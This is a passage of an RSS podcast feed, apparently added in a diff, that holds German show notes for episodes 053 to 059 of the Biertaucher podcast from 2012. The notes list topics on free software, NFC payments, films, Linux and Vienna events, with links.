+</li><li><b>01:20:00</b> <a href="http://www.sierra-zulu.com/">Monochroms Sierra Zulu movie</a> auf <a href="http://www.kickstarter.com/projects/monochrom/sierra-zulu">Kickstarter</a>
+</li><li><b>01:25:00</b> <a href="http://derstandard.at/1339639234070/Nicht-begeistert-Linus-Torvalds-Google-Events-fuellen-den-Stream-mit-S">Google+ Events</a>
+</li><li><b>01:34:30</b> Rasberry Pi Nachbauten aus China
+</li><li><b>01:39:50</b> <a href="https://metalab.at/wiki/Metaday_52">Metaday im Metalab</a>
+</li>
+
+</ul>
+
+
+
+ ]]></content:encoded>
+ <enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher059.mp3" length="74428216" type="audio/mpeg"/>
+ </item>
+ <item>
+ <title>Biertaucher Folge 058</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2012:058</link>
+ <pubDate>Wed, 27 Jun 2012 11:15:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher058.mp3</guid>
+ <description>Horst JENS, Gregor PRIDUN, Martin MAYR und Johnny ZWENG trinken Bier und plaudern freie Software und andere Nerd-Themen. Mehr Information, Links und Bilder gibt es in den Shownotes: http://goo.gl/2XrZI bzw: http://biertaucher.at. Bitte nach Möglichkeit diesen Flattr-Button anlicken: http://flattr.com/thing/725247/Biertaucher-Podcast-Folge-058
+ </description>
+ <content:encoded><![CDATA[
+ <i>Bitte <a href="http://goo.gl/2XrZI">klicken Sie auf diesen Link</a> um die Shownotes zur Folge 58 zu sehen</i><br></br>
+ <b>Horst JENS</b>, <b>Gregor PRIDUN</b>, <b>Martin MAYR</b> und <b>Johnny ZWENG</b> trinken Bier und plaudern über freie Software sowie andere Nerd-Themen.<br></br>
+ <br></br>
+ Bitte Flattern: <atom:link rel="payment" href="https://flattr.com/submit/auto?url=https%3A%2F%2Fdevelopers.flattr.net%2F&amp;user_id=flattr" type="text/html" />
+<a href="http://flattr.com/thing/725247/Biertaucher-Podcast-Folge-058" target="_blank">
+<img src="http://api.flattr.com/button/flattr-badge-large.png" alt="Flattr this" title="Flattr this" border="0" /></a>Hier das Inhaltsverzeichnis <b>ohne</b> Anspruch auf Vollständigkeit:<br></br>
+siehe auch <a href="http://redd.it/vblsj">Themensammlung auf reddit</a>
+</br>
+
+<ul>
+
+ <li>0:00:27 Hausmeisterthemen
+</li><li>0:02:13 Martin erzählt über Kulturhauptstadt <a href="http://de.wikipedia.org/wiki/Maribor">Maribor</a>:
+ </li><ul><li><a href="http://www.maribor2012.eu/en/programme/urban-furrows/">Urban Furrows Gemeinschaftsgärten</a>,
+ </li><li><a href="http://www.furtherfield.org/zerodollarlaptop/">Zero Dollar Laptops für Roma</a>
+ </li><li><a href="http://en.wikipedia.org/wiki/Seed_library">Seed library</a> (wie <a href="http://de.wikipedia.org/wiki/Arche_Noah_(Pflanzenzucht)">Arche Noah</a>)
+ </li><li><a href="http://www.maribor2012.eu/en/nc/event/prikaz/2615841/?gclid=CPPfm73b7bACFUrP3wodiy32tQ">Lent Festival</a>
+ </li><li><a href="http://en.wikipedia.org/wiki/Community-supported_agriculture">CSA Community-supported agriculture</a> oder Gemeinschaftsgärten
+</li></ul><li>0:11:00 Martin erzählt über Lebensmitteldiskussion
+ </li><ul><li>0:11:00 Wien <a href="http://www.ochsenherz.at/">Ochsenherz</a> Gemeinschafts-Gemüsekisterl
+ </li><li>0:12:00 <a href="http://de.wikipedia.org/wiki/Fair-Trade-Siegel">Fairtrade-Diskussion</a>
+ </li><li>0:14:15 <a href="http://de.wikipedia.org/wiki/Food_Coop">Food Coops</a>
+</li></ul><li>0:15:48 Johny: Bezahlen mit <a href="http://de.wikipedia.org/wiki/Near_Field_Communication">NFC</a> (Sticker)
+ </li><ul><li>0:19:26 <a href="http://www.paybox.at/">Paybox</a>
+ </li><li>0:23:03 <a href="http://de.wikipedia.org/wiki/Quick_(Geldkarte)">Quick Geldkarte</a>, <a href="http://girogo.de/Girogo">Bargeldlos zahlen</a>
+ </li><li>0:27:40 Kreditkartennummern per NFC-Reader ausspähen
+ </li><li>0:32:46 Paybox als Web-Bezahlsystem ?
+ </li><li>0:35:10 Bezahlen am Zigarettenautomat mit SMS
+ </li><li>0:37:00 Bezahlen mit Bankomat
+ </li><li>0:38:59 <a href="http://www.nfcinteractor.com/">Nokia NFC Reader app</a>
+</li></ul><li>0:42:30 Martin hat ein <a href="http://de.wikipedia.org/wiki/Nokia_808">Nokia 808 PureView Handy</a> bekommen und getestet
+</li><li>0:53:50 FTP-Server am Smartphone (und Rant über IOS Filesystem)
+</li><li>0:56:10 <a href="http://sciencefictionimpark.at/index.htm">Filmfest Sciencefictionimpark Margaretenpark</a>:
+ </li><ul><li>0:56:10 <a href="http://en.wikipedia.org/wiki/King_of_Thorn">KING OF THORN</a> Anime-Film
+ </li><li>0:59:07 <a href="http://en.wikipedia.org/wiki/Atom_punk#Atompunk">Atompunk</a> (Clockworkpunk, Teslapunk) Film: <a href="http://en.wikipedia.org/wiki/A_Boy_and_His_Dog">A boy and his dog</a>
+ </li><li>1:02:30 <a href="http://de.wikipedia.org/wiki/Jugger">Jugger</a> ein Mannschaftssport der auf einem Science-Fiction-Film basiert
+ </li><li>1:04:30 Film: <a href="http://en.wikipedia.org/wiki/Monsters_(2010_film)">Monsters</a>
+ </li><li>1:06:00 Film: <a href="http://de.wikipedia.org/wiki/Die_Stadt_der_Blinden_(Film)">Die Stadt der Blinden</a>
+</li></ul><li>1:07:02 <a href="http://en.wikipedia.org/wiki/The_Guild">The Guild</a>, <a href="http://en.wikipedia.org/wiki/Felicia_Day">Felicia Day</a>, <a href="http://geekandsundry.com/">GeekandSundry</a>
+</li><li>1:10:20 <a href="http://de.wikipedia.org/wiki/Ehrensenf">Ehrensenf</a>
+</li><li>1:11:11 <a href="http://monochrom.at/">Monochrom</a> <a href="http://www.heise.de/tp/artikel/37/37151/1.html">dreht den Film</a> <a href="http://www.sierra-zulu.com/">Sierra Zulu</a> ( Soviet Unterzögersdorf ) , Pilot Earthmoving (mit <a href="http://spielend-programmieren.at/de:podcast:biertaucher:2011:022">Martin Auer</a>)
+ </li><ul><li>1:14:26 <a href="http://www.sierra-zulu.com/2012/06/25/soviet-unterzoegersdorf-ambassador-will-join-kickstarter-launch-gewaltmarsch/">Kickstarterfinanzierungsaufruf</a> am 3.7.2012 am Schwarzenbergplatz Wien für Sierra Zulu (siehe auch Biertaucher-Kalender)
+</li></ul><li>1:15:17 Martin ranted gegen die Reddit-App von iOS und den Mangel an vernünftigen Facebook-Apps
+</li><li>1:16:34 <a href="http://www.steamforlinux.com/?q=en/node/59">Unity Game Engine kommt für Linux</a>
+</li><li>1:17:48 Subotron-Vortrag über Distributieren von Computerspielen: Unitiy, Chrome Browser, Flash, OnLife (Streaming), Java-basierte Lösung, WebGL
+</li><li>1:20:00 <a href="http://www.spiegel.de/wissenschaft/medizin/google-body-browser-zoomfahrt-in-den-menschlichen-koerper-a-735640.html">Google Body</a>
+</li><li>1:21:30 GeekandSundry Videos (Felica Day)
+</li><li>1:22:30 <a href="http://www.linux-magazin.de/content/view/full/69334">MadDog über Linux in Militärdrohnen</a> (GPL Lizenz), <a href="http://ftp.stw-bonn.de/froscon/2010/hs12/theora/hs12_-_2010-08-21_12:45_-_en_-_free_and_open_source_software_in_the_developing_world_-_jon_maddog_hall.ogv">MadDog Keynote</a> auf der Frosscon 2010
+</li><li>1:27:09 Gregor empfiehlt den <a href="http://spoileralertshow.wordpress.com/">Spoileralert Podcast</a> über nerdige Bücher (Erzählmuster)
+</li><li>1:30:13 Martin empfielt "<a href="http://kef.podspot.de/">Die Welt im Ohr</a>" Podcast über Entwicklungszusammenarbeit (Brasilien, Paolo Frere)
+</li><li>1:31:56 Neues von OpenSource Ecology, <a href="http://blog.opensourceecology.org/2012/06/filmmaker-ian-midgley-visits-factor-e-farm/">Filmprojekt auf IndyGogo</a>, Traktor
+</li><li>1:34:52 Martin berichtet vom <a href="http://pyug.at/PythonDojo">Python-coding Dojo im Metalab</a>, test-driven developement
+</li><li>1:39:10 <a href="http://www.heise.de/tp/blogs/6/152279">GEMA-Vermutung</a> in Deutschland prozessiert gegen Creative-Commons Musik (siehe auch Chaosradio-Folge)
+</li><li>1:42:05 <a href="http://www.heise.de/tp/artikel/37/37143/1.html">Vroniplag deckt Plagiate in Juristenfachbuch</a> auf.
+</li><li>1:43:53 <a href="http://futurezone.at/netzpolitik/9795-acta-kampagne-milde-form-des-terrorismus.php">Anti-Acta ist "milde Form von Terrorismus"</a> laut franz. Acta-Politikerin
+</li><li>1:45:00 Martin's <a href="http://grooveshark.com/">Grooveshark</a> Account wurde gesperrt, Martin kann nicht mehr Uploaden
+</li><li>1:47:00 Podcatcher am Android, Gpodder, Podkicker, Poddroid, Beyondpost, SmartPlayList
+</li><li>1:55:00 Gewinnspiel
+</li>
+
+</ul>
+
+
+
+ ]]></content:encoded>
+ <enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher058.mp3" length="83648512" type="audio/mpeg"/>
+ </item>
+ <item>
+ <title>Biertaucher Folge 057</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2012:057</link>
+ <pubDate>Wed, 20 Jun 2012 12:00:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher057.mp3</guid>
+ <description>Horst JENS, Florian SCHWEIKERT, Johnny ZWENG und Christopher PARR trinken Bier und plaudern freie Software und andere Nerd-Themen. Mehr Information, Links und Bilder gibt es in den Shownotes: http://goo.gl/JGBNf bzw: http://biertaucher.at.
+
+ </description>
+ <content:encoded><![CDATA[
+ <i>Bitte <a href="http://goo.gl/JGBNf">klicken Sie auf diesen Link</a> um die Shownotes zur Folge 57 zu sehen</i><br></br>
+ <b>Horst JENS</b>, <b>Florian SCHWEIKERT</b>, <b>Johnny ZWENG</b> und <b>Christopher PARR</b> trinken Bier und plaudern über freie Software sowie andere Nerd-Themen.<br></br>
+ <br></br>
+ Bitte Flattern: <atom:link rel="payment" href="https://flattr.com/submit/auto?url=https%3A%2F%2Fdevelopers.flattr.net%2F&amp;user_id=flattr" type="text/html" />
+<a href="http://flattr.com/thing/720546/Biertaucher-Podcast-Folge-057" target="_blank">
+<img src="http://api.flattr.com/button/flattr-badge-large.png" alt="Flattr this" title="Flattr this" border="0" /></a>Hier das Inhaltsverzeichnis <b>ohne</b> Anspruch auf Vollständigkeit:<br></br>
+siehe auch <a href="http://redd.it/v0hta">Themensammlung auf reddit</a>
+</br>
+<ul>
+
+ <li>0:01:17 Florian hat Brand in <a href="http://wien.orf.at/news/stories/2537721/">Pötzleinsdorfer Streichelzoo</a> gesehen
+ </li><li>0:03:25 <a href="https://www.facebook.com/pages/Waldseilpark-Kahlenberg/285375531559242">Waldseilpark Kahlenberg</a> wird Ende Juni fertig
+ </li><li>0:04:28 Johnny war am <a href="http://www.wien.gv.at/verwaltung/meldeservice/">Meldeamt</a> positiv überrascht, Florian's Kollege hatte Probleme
+ </li><li>0:06:47 <a href="http://yuilop.com/intl/">Yuilop</a> , ein skype-ähnlicher Service für u.a. Android
+ </li><li>0:11:40 Christopher will <a href="http://Fosstux-it.at">Fosstux-it.at</a> gründen und berichtet von der <a href="http://mehrblick.at/schumbeta/">Schumbeta - Konferenz</a>
+ </li><li>0:17:30 <a href="http://gov.opendata.at/site/">Open Government Data</a> Konferenz in Linz, Wiener Verkehrsbetriebe
+ </li><li>0:24:36 <a href="http://de.wikipedia.org/wiki/Internet_Relay_Chat">IRC</a> <a href="http://de.wikipedia.org/wiki/Quassel_IRC">Quassel</a>, Freenode
+ </li><li>0:29:50 <a href="http://www.wien.gv.at/stadtentwicklung/projekte/schwedenplatz/index.html">Stadtplanungs-Container am Schwedenplatz</a>
+ </li><li>0:32:09 <a href="http://de.wikipedia.org/wiki/Microsoft_Surface_(Tablet)">Microsoft Surface</a>, das neue Tablet von Microsoft
+ </li><li>0:34:36 <a href="http://www.pc-magazin.de/news/linus-torvalds-zeigt-nvidia-den-mittelfinger-1306259.html">Linus Thorvald trollt Nvidia</a>
+ </li><li>0:35:40 <a href="http://www.heise.de/tp/artikel/37/37115/1.html">VG Wort</a> wurde verklagt
+ </li><li>0:37:22 <a href="http://futurezone.at/digitallife/9583-strafe-fuer-das-tragen-von-guy-fawkes-masken.php">Geldstrafe wegen Vermummungsverbot auf Demonstration</a>
+ </li><li>0:39:06 Emails von Scientology Austria wurden von Anonymous <a href="http://de.wikipedia.org/wiki/Scientology_gegen_das_Internet">geleakt</a>, unter anderem eine Gratulation von <a href="http://de.wikipedia.org/wiki/Richard_Lugner">Richard Lugner</a>
+ </li><li>0:41:47 religiöses Prügelspiel: <a href="http://www.newgrounds.com/portal/view/421199">Faith Fighter</a>
+ </li><li>0:42:00 <a href="http://futurezone.at/digitallife/9573-linus-torvalds-erhaelt-millennium-preis.php">Linus Thorvald bekommt Geld</a>
+ </li><li>0:43:00 Reddit-Posting: <a href="http://www.reddit.com/r/gaming/comments/uxpil/ive_been_playing_the_same_game_of_civilization_ii/">Seit 10 Jahren andauerndes Civilisation-2 spielt</a>
+ </li><li>0:45:23 Horst und das goldene Wienerherz ( ungarische Breakdancer, Spraydosenkünstler )
+ </li>
+</ul> ]]></content:encoded>
+ <enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher057.mp3" length="35995648" type="audio/mpeg"/>
+ </item>
+ <item>
+ <title>Biertaucher Folge 056</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2012:056</link>
+ <pubDate>Wed, 13 Jun 2012 23:59:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher056.mp3</guid>
+ <description>Horst JENS und Gregor PRIDUN trinken Bier und plaudern freie Software und andere Nerd-Themen. Mehr Information, Links und Bilder gibt es in den Shownotes: http://goo.gl/8rCx3 bzw: http://biertaucher.at - Bitte nach Möglichkeit diesen Flattr-Button anlicken: http://flattr.com/thing/716279/Biertaucher-Podcast-Folge-056
+
+ </description>
+ <content:encoded><![CDATA[
+ <i>Bitte <a href="http://goo.gl/8rCx3">klicken Sie auf diesen Link</a> um die Shownotes zur Folge 56 zu sehen</i><br></br>
+ <b>Horst JENS</b> und <b>Gregor PRIDUN</b> trinken Bier und plaudern über freie Software sowie andere Nerd-Themen.<br></br>
+ <br></br>
+ Bitte Flattern: <atom:link rel="payment" href="https://flattr.com/submit/auto?url=https%3A%2F%2Fdevelopers.flattr.net%2F&amp;user_id=flattr" type="text/html" />
+<a href="http://flattr.com/thing/716279/Biertaucher-Podcast-Folge-056" target="_blank">
+<img src="http://api.flattr.com/button/flattr-badge-large.png" alt="Flattr this" title="Flattr this" border="0" /></a>Hier das Inhaltsverzeichnis <b>ohne</b> Anspruch auf Vollständigkeit:<br></br>
+siehe auch <a href="http://redd.it/upeln">Themensammlung auf reddit</a>
+</br>
+<ul>
+
+<li> 0:00 Hausmeisterthemen, Mac User
+</li><li> 0:05 Reportage hat eine Doku angeschaut: <a href="http://www.getlamp.com/">Get LAMP</a> über <a href="http://en.wikipedia.org/wiki/Interactive_fiction">Textadventures</a>
+</li><li> 0:10 Douglas Adams: <a href="http://en.wikipedia.org/wiki/The_Hitchhiker%27s_Guide_to_the_Galaxy_(computer_game)">Hitchhiker's Guide to the Galaxy (text adventrue)</a>
+</li><li> 0:12 <a href="http://en.wikipedia.org/wiki/ELIZA">Eliza</a>, <a href="http://en.wikipedia.org/wiki/Turing_test">Turing-Test</a>
+</li><li> 0:13 Android Rollenspiel: <a href="http://code.google.com/p/andors-trail/">Andors Trail</a>, <a href="https://play.google.com/store/apps/details?id=com.hg.cyberlordsfree">Cyberlords</a>
+</li><li> 0:16 <a href="http://www.ossanschulen.ch/weiterbildungstagung-2010/">Open Source Lehrerkonferenz</a> in Zürich Schweiz
+</li><li> 0:17 <a href="http://www.imedias.ch/lernstick">Schweizer Lernstick</a> vereinigt sich mit <a href="http://www.linuxadvanced.at/la_index.html">Linux Advanced</a> (Krems)
+</li><li> 0:20 Autos mit Google Sketchup und Google Earth
+</li><li> 0:22 Bloggen mit Wordpress, <a href="http://www.skolelinux.de/">Skolelinux</a>, <a href="http://d4e.at/">Desktop4Education</a> (Weiz)
+</li><li> 0:25 <a href="http://www.ubuntu-austria.at/">Ubuntu Austria</a> , Fit-PC, <a href="http://linuxmint.com/">Linux Mint</a>
+</li><li> 0:29 <a href="http://www.kickstarter.com/projects/260688528/clang">Stephenson sammelt auf Kickstarter Geld für CLANG Schwertkampf-Simulation</a>
+</li><li> 0:35 RMS Stallman's <a href="http://futurezone.at/digitallife/9537-richard-stallmans-laptop-in-argentinien-geklaut.php">Laptop wurde in Argentinien gestohlen</a>
+</li><li> 0:38 Secure Boot Bios Nachfolger EFi und <a href="http://en.wikipedia.org/wiki/Unified_Extensible_Firmware_Interface">UEFI</a>
+</li><li> 0:41 <a href="http://gizmodo.com/5912827/well-pay-you-for-photos-of-mark-zuckerberg?tag=Summer-of-Zuck">Summer of Zuck</a>, End of Privacy (Gizmodoblog)
+</li><li> 0:43 peinlicher Unfall mit Jagd-Fotofalle
+</li><li> 0:44 <a href="http://www.sciencefictionimpark.at/">Science Fiction im Park</a>, Westworld (Michael Criton)
+</li><li> 0:46 Podcasts aus Göttingen: <a href="http://wikigeeks.de/">Wikigeeks</a> , <a href="http://wikigeeks.de/">Apfelklatsch</a>, <a href="http://einschlafen-podcast.de/">zumEinschlafenPodcast</a>, <a href="http://www.wrint.de/">Realitätsableich</a>
+</li><li> 0:52 "Wir sind die Urheber" <a href="http://www.heise.de/tp/blogs/6/152142">Tatort-Autoren beim klauen erwischt</a>
+</li><li> 0:53 <a href="http://www.defpro.com/news/details/36187/?SID=97ccbeaade9cfe41cfd7279cd44af956">US Navy Drohnen mit Linux statt Windows</a>
+</li>
+
+
+</ul>
+
+
+
+ ]]></content:encoded>
+ <enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher056.mp3" length="41861120" type="audio/mpeg"/>
+ </item>
+ <item>
+ <title>Biertaucher Folge 055</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2012:055</link>
+ <pubDate>Thu, 07 Jun 2012 08:45:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher055.mp3</guid>
+ <description>Horst JENS und Gregor PRIDUN trinken Bier und plaudern freie Software und andere Nerd-Themen. Mehr Information, Links und Bilder gibt es in den Shownotes: http://goo.gl/vT7oa bzw: http://biertaucher.at - Bitte nach Möglichkeit diesen Flattr-Button anlicken: http://flattr.com/thing/713146/Biertaucher-Podcast-Folge-055
+
+ </description>
+ <content:encoded><![CDATA[
+ <i>Bitte <a href="http://goo.gl/vT7oa">klicken Sie auf diesen Link</a> um die Shownotes zur Folge 55 zu sehen</i><br></br>
+ <b>Horst JENS</b> und <b>Gregor PRIDUN</b> trinken Bier und plaudern über freie Software sowie andere Nerd-Themen.<br></br>
+ <br></br>
+ Bitte Flattern:
+<a href="http://flattr.com/thing/713146/Biertaucher-Podcast-Folge-055" target="_blank">
+<img src="http://api.flattr.com/button/flattr-badge-large.png" alt="Flattr this" title="Flattr this" border="0" /></a>Hier das Inhaltsverzeichnis <b>ohne</b> Anspruch auf Vollständigkeit:<br></br>
+siehe auch <a href="http://redd.it/uassf">Themensammlung auf reddit</a>
+</br>
+<ul>
+
+ <li>0:00 Hausmeisterthemen
+ </li><li>0:01 burgenländisches <a href="http://www.b3club.at/index.php?main=gartenfest.php&top=head_gartenfest.php&h=129">Gartenfest</a> B3 in der Bürgerspitalgasse
+ </li><li>0:03 Tech-Meldungen: Neuer Linux-Kernel
+ </li><li>0:04 <a href="http://futurezone.at/netzpolitik/9328-vorratsdaten-fuenf-minuten-fuer-buergeranliegen.php">österr. Parlament befasst sich 5 Minuten mit Vorratsdatenspeicherung</a>. Aufruf: <a href="http://zeichnemit.at/tipps/">Abgeordnete direkt anschreiben</a>
+ </li><li>0:05 <a href="http://www.humblebundle.com/">humble bundle</a>
+ </li><li>0:06 <a href="http://www.gameinformer.com/b/features/archive/2012/06/02/interview-wasteland-2-39-s-brian-fargo.aspx">Neues von Brian Fargo: Wasteland2</a>
+ </li><li>0:10 Kino: Gregor spricht über Filme von <a href="http://en.wikipedia.org/wiki/Wes_Anderson">Wes Anderson</a>: Moonlight Kingdom
+ </li><li>0:13 The fantastic Mister Fox
+ </li><li>0:14 The life aquatic, The Royal Tennenbaums
+ </li><li>0:16 Kino: <a href="http://www.fischerfilm.com/produktionen/in-produktion/slatin-pascha/">Pascha Slatin</a>
+ </li><li>0:25 Kino: Hobo with the Shotgun mit <a href="http://en.wikipedia.org/wiki/Rutger_Hauer">Rutger Hauer</a>
+ </li>
+
+</ul>
+
+
+
+ ]]></content:encoded>
+ <enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher055.mp3" length="21780480" type="audio/mpeg"/>
+ </item>
+ <item>
+ <title>Biertaucher Folge 054</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2012:054</link>
+ <pubDate>Wed, 30 May 2012 08:30:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher054.mp3</guid>
+ <description>Horst JENS, Gregor PRIDUN und Martin MAYR trinken Bier und plaudern freie Software und andere Nerd-Themen. Mehr Information, Links und Bilder gibt es in den Shownotes: http://goo.gl/BWEzh bzw: http://biertaucher.at
+ </description>
+ <content:encoded><![CDATA[
+ <i>Bitte <a href="http://goo.gl/BWEzh">klicken Sie auf diesen Link</a> um die Shownotes zur Folge 54 zu sehen</i><br></br>
+ <b>Horst JENS</b>, <b>Gregor PRIDUN</b> und <b>Martin MAYR</b> trinken Bier und plaudern über freie Software sowie andere Nerd-Themen.<br></br>
+ <br></br>
+ Bitte Flattern:
+<a href="http://flattr.com/thing/703884/Biertaucher-Podcast-Folge-054" target="_blank">
+<img src="http://api.flattr.com/button/flattr-badge-large.png" alt="Flattr this" title="Flattr this" border="0" /></a>
+Hier das Inhaltsverzeichnis <b>ohne</b> Anspruch auf Vollständigkeit:<br></br>
+siehe auch <a href="http://redd.it/u2d7b">Themensammlung auf reddit</a>
+</br>
+<ul>
+
+
+
+ <li>0:01:30 Hausmeisterthemen: <a href="https://plus.google.com/u/0/b/115278437571900143077/109031087354224294124/about">Johannes Klopf</a> <a href="https://plus.google.com/u/0/b/115278437571900143077/115278437571900143077/posts/VjjjcNb9Hzi">gab Feedback zu Folge 052</a> auf Google+
+ </li><li>0:02:08 Hausmeisterthemen: Wir freuen uns über <a href="http://ubuntu-radio.ch/">Ubunturadio Schweiz</a> und darüber dass wir dort gesendet werden. (Siehe auch Audiobotschaft von Gregor Fröhlich am Ende dieses Podcasts).
+ </li><li>0:03:31 Anti-Werbung: <a href="http://www.zipfer.at/de/die-marke/innovationen/zipfer-limetten-radler.html">Zipfer Limetten-Radler</a>
+ </li><li>0:03:58 Harald bastelt mit <a href="http://de.wikipedia.org/wiki/6lowpan">6lowpan</a> am Ende der Lichtschalter-Ära. Siehe auch <a href="http://podcast.smarter-home.at/index.php?id=18">Smarter-Home Podcast 005</a> zum Thema Funkprotokolle.
+ </li><li>0:06:33 Martin war im <a href="http://metalab.at">Metalab</a>, genauer gesagt mit den <a href="https://metalab.at/wiki/Fotolab/Treffen">Fotolab</a>-Leuten auf Ausflug ins <a href="http://www.1133.at/document/view/id/314">verfallene Josef-Afritsch Heim</a>
+ </li><li>0:11:41 Gregor ärgert sich über seine <a href="http://www.boxee.tv/buy">Boxee-Box</a> und seinen <a href="http://www.kobobooks.com/touch">Kobo Ebook reader</a>
+ </li><li>0:14:34 <a href="http://www.post.at/">österreichische Postämter</a>
+ </li><li>0:19:04 <a href="http://repaircafe.nl/">Repair Cafees</a>
+ </li><li>0:20:23 <a href="http://de.wikipedia.org/wiki/OpenVPN">Open-Vpn Client</a> für Android ohne Root-Rechte
+ </li><li>0:23:07 <a href="http://vemedio.com/products/instacast">Instacast</a> darf wegen Apple <a href="http://blog.flattr.net/2012/05/apple-rejected-flattr-and-its-not-the-end/">keinen Flattr-Button</a> mehr verwenden
+ </li><li>0:27:00 <a href="http://fm4.orf.at/stories/1699106/">Do not track Standard</a> für Browser und <a href="http://futurezone.at/netzpolitik/9290-eu-nutzer-muessen-cookies-ab-heute-zustimmen.php">Zustimmungspflicht für Cookies</a>
+ </li><li>0:28:38 <a href="http://urheberrecht.vibe.at/">Plattform zur Erstellung eines neuen Urheberrechts</a>
+ </li><li>0:29:00 Wiener <a href="http://www.wien.gv.at/umwelt-klimaschutz/naturschutz/sternwartepark.html">Sternwartepark</a> und <a href="http://de.wikipedia.org/wiki/Spreewald">Spreewald</a> in Berlin
+ </li><li>0:31:27 Google+ Client am Android wurde verschönert
+ </li><li>0:34:30 <a href="http://www.playdeb.net/welcome/">Playdeb</a> Ubuntu-Spiele Repository
+ </li><li>0:37:34 <a href="http://audioboo.fm/">Adudio-Boo</a> Soundschnipsel Plattform
+ </li><li>0:39:19 Tweetdeck für Twitter
+ </li><li>0:40:42 Gregor's episch lang recherchierter Beitrag über <a href="http://de.wikipedia.org/wiki/Takeshi_Kitano">Takeshi Kitano</a>
+</li><ul>
+ <li>0:42:30 <a href="http://de.wikipedia.org/wiki/Angry_Video_Game_Nerd">Angry Video Game Nerd</a>
+ </li><li>0:44:28 Getting Any (schlechter Film)
+ </li><li>0:45:00 Hard Boiled, Violent Cop
+ </li><li>0:45:43 <a href="http://de.wikipedia.org/wiki/Die_Tribute_von_Panem_%E2%80%93_The_Hunger_Games">The Hunger Games</a> abgekupfert von <a href="http://de.wikipedia.org/wiki/Battle_Royale">Battle Royale</a> ?
+ </li><li>0:49:20 <a href="http://de.wikipedia.org/wiki/Zatoichi_%E2%80%93_Der_blinde_Samurai">Zatoichi - der blinde Samurai</a>, <a href="http://de.wikipedia.org/wiki/Yakuza">Yakuza</a> Filme (japanische Mafia)
+ </li></ul>
+ <li>0:51:42 Gregor's Podcast Empfehlungen: <a href="http://hoersuppe.de/">Die Hörsuppe</a>, <a href="http://apfelklatsch.de/">Apfelklatsch</a>
+ </li><li>0:54:11 <a href="http://en.wikipedia.org/wiki/North_%26_South_(video_game)">north & south</a> altes Computergame
+ </li><li>0:55:09 Katzenwasserwerfer in Peter's <a href="http://podcast.smarter-home.at/index.php?id=21">Smarter-Home Podcast zum Thema Gartenbewässerung</a>
+ </li><li>0:55:58 Gregor Fröhlich's Audiobotschaft von Ubunturadio Ch
+
+
+
+
+</ul>
+
+
+
+ ]]></content:encoded>
+ <enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher054.mp3" length="49573888" type="audio/mpeg"/>
+ </item>
+ <item>
+ <title>Biertaucher Folge 053</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2012:053</link>
+ <pubDate>Thu, 24 May 2012 08:00:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher053.mp3</guid>
+ <description>Horst JENS, Gregor PRIDUN, Martin MAYR, Johnny ZWENG und Stargast Marlena trinken Bier und plaudern freie Software und andere Nerd-Themen. Mehr Information, Links und Bilder gibt es in den Shownotes: http://goo.gl/XRMKd
+
+ </description>
+ <content:encoded><![CDATA[
+ <i>Bitte <a href="http://redd.it/tr9vx">klicken Sie auf diesen Link</a> um die Shownotes zur Folge 53 zu sehen</i><br></br>
+ <b>Horst JENS</b>, <b>Gregor PRIDUN</b>, <b>Martin MAYR</b>, <b>Johnny ZWENG</b> und Stargast <b>Marlena</b> plaudern über freie Software und andere Nerd-Themen.<br></br>
+ <br></br>
+ <br>Bitte Flattern: <a href="http://flattr.com/thing/693774/Biertaucher-Podcast-Folge-053" target="_blank">
+<img src="http://api.flattr.com/button/flattr-badge-large.png" alt="Flattr this" title="Flattr this" border="0" /></a>
+Hier das Inhaltsverzeichnis <b>ohne</b> Anspruch auf Vollständigkeit:<br></br>
+siehe auch <a href="http://goo.gl/XRMKd">Themensammlung auf reddit</a>
+</br>
+<ul>
+
+ <li>0:01:02 <a href="https://bitcointalk.org/index.php?topic=80844.0">Bitcoin Pizza Day</a>
+ </li><li>0:03:48 <a href="http://www.so.cl/">So.cl Microsof's neue Social-Plattform</a>
+ </li><li>0:07:37 <a href="http://en.wikipedia.org/wiki/ITunes_Ping">ITunes Ping</a>
+ </li><li>0:08:15 <a href="http://en.wikipedia.org/wiki/Windows_8">Windows 8</a>
+ </li><li>0:10:40 Gregor kauft Musik bei <a href="http://www.amazon.de/">Amazon</a> und <a href="http://www.monkeyrecords.com/monkey/">Monkeyrecords</a>
+ </li><li>0:14:23 <a href="http://en.wikipedia.org/wiki/ClickandBuy">Click and Buy</a>
+ </li><li>0:15:51 Nachsendeauftrag bei der <a href="http://post.at">Post</a>
+ </li><li>0:20:48 Buchbesprechung: Poor Economy
+ </li><li>0:23:33 <a href="http://www.heise.de/open/meldung/OpenOffice-in-Freiburg-moeglicherweise-vor-dem-Aus-1579200.html">Freiburg verlässt OpenOffice ?</a>
+ </li><li>0:27:20 <a href="http://www-03.ibm.com/software/lotus/symphony/home.nsf/home">IBM Symphony</a>
+ </li><li>0:28:49 Martin war am <a href="http://montessori.at/">Montessori</a> Kongress
+ </li><ul>
+ <li>Das Schlechte am Schnuller
+ </li><li>Daumenlutschen
+ </li><li>3 period lession
+ </li></ul>
+ <li>0:44:28 Vortrag: <a href="http://vimeo.com/40791188">Building better brains</a>
+ </li><li>0:46:53 <a href="http://derstandard.at/1334797258061/Esoterik-in-der-Wissenschaft-Hellseherei-in-Masterarbeit-belegt">"Hellseherei in Masterarbeit"</a>
+ </li><li>0:49:55 <a href="http://en.wikipedia.org/wiki/Kozyrev_Mirror">Kozyrev Spiegel</a>
